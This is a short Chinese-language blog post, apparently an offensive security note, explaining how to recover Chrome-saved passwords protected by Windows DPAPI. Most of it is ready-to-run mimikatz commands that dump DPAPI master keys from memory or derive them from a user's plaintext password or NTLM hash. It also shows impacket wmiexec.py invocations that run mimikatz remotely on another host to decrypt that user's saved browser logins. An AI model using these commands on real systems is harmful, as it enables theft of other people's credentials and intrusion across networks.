原理

chrome储存的明文密码时使用windows提供的DPAPI进行对称加密来保证安全性。加解密的密钥称为master key。master key被用户登录密码、SID和16字节随机数加密后保存在Master Key file(%APPDATA%\Microsoft\Protect\%SID%)中。

三种情况

1.A用户获取自己chrome密码不需要知道master key
2.A获取B用户,如果B用户在线,那么可以直接从内存中抓取出B的maste key
3.A获取B用户,B不在线,就需要用b用户的明文密码或者NTLM hash计算出master key,在回到上面一步。

1、获取自己的chrome密码

dpapi::chrome /in:'C:\Users\<UserName>\AppData\Local\Google\Chrome\User Data\Default\Login Data' /unprotect

2、获取在线用户的密码

因为用户在线,所以用mimikatz抓内存即可
impacket/examples/wmiexec.py

privilege::debug
sekurlsa::dpapi

python wmiexec.py <UserName>:<password>@<ip> 'path/to/mimikatz "privilege::debug" "sekurlsa::dpapi" exit'

导出之后关注两个值
MasterKey
sha1(key)

#wmiexec.py/smbexec.py/psexec.py都可以
python wmiexec.py <UserName>:<password>@<ip> 'cd c:\users\public && Minimimini64.exe "dpapi::chrome /in:\"C:\Users\<UserName>\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /masterkey:<your/MasterKey/or/sha1(key)>" exit '

3、获取离线用户密码

如果我们知道用户xxx的明文密码,可以用runas降权(或者进行一些spwan的操作降权),降权之后又回到了最简单的情况。(因为runas需要交互式shell,所以这种方法比较鸡肋)

runas /user:<UserName>@<domainName> "cmd.exe"

在没有交互式的情况下可以直接用mimikatz直接算出master key
1.知道明文密码

dpapi::masterkey /in:"c:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<直到最后一个文件>" /password:<password>

有结果之后继续按照第2种情况
2.知道NTLM hash

dpapi::masterkey /in:"c:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<直到最后一个文件>" /hash:<NTLM hash>

有结果之后继续按照第2种情况

标签: none

评论已关闭